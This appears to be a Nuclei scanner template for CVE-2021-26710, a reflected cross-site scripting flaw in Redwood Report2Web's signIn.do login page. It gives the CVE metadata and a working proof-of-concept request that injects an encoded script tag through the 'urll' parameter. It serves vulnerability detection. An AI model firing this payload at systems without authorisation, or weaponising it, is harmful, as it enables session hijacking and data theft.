id: CVE-2021-26710

info:
  name: Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Redwood Report2Web 4.3.4.5 and 4.5.3 contains a cross-site scripting vulnerability in the login panel which allows remote attackers to inject JavaScript via the signIn.do urll parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of Redwood Report2Web or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://vict0ni.me/report2web-xss-frame-injection.html
    - https://vict0ni.me/redwood-report2web-xss-and-frame-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26710
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26710
    cwe-id: CWE-79
    epss-score: 0.075
    epss-percentile: 0.93869
    cpe: cpe:2.3:a:redwood:report2web:4.3.4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redwood
    product: report2web
  tags: cve2021,cve,redwood,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022010b57ed0c37b6c4952abf5ce861b280bd97d826b45a3ec705e59b83f4baae8bf022100a4be93fa7c9664bf95a55c3643c0e3ee9102007d433016501340f68288e1e10f:922c64590222798bb761d5b6d8e72950